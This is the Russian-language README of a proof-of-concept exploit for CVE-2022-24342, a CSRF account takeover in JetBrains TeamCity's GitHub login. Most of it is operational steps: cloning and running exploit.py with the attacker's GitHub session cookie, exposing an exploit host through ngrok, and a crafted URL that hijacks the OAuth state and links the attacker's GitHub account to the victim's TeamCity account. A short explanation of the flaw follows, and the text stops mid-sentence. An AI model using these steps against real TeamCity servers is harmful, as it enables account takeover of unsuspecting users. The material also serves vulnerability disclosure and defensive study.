
PoC для CVE-2022-24342: захват аккаунта через CSRF в аутентификации GitHub
JetBrains TeamCity — захват аккаунта через CSRF в аутентификации GitHub (PoC)
Попробуйте войти в целевой экземпляр TeamCity с учетной записью GitHub атакующего, чтобы авторизовать приложение TeamCity в GitHub.
Установка и запуск:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
Если вы запускаете эксплойт на локальной машине, возможно, вам понадобится использовать Ngrok или альтернативы.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
ДЕМО:
TeamCity был уязвим к инъекции параметров запроса во время потока OAuth2, что позволяло злоумышленнику перенаправлять пользователя в произвольное приложение GitHub OAuth2, перехватывать действительный параметр state и подключать произвольную учетную запись GitHub к учетной записи TeamCity жертвы.
Это стало возможным благодаря следующим факторам:

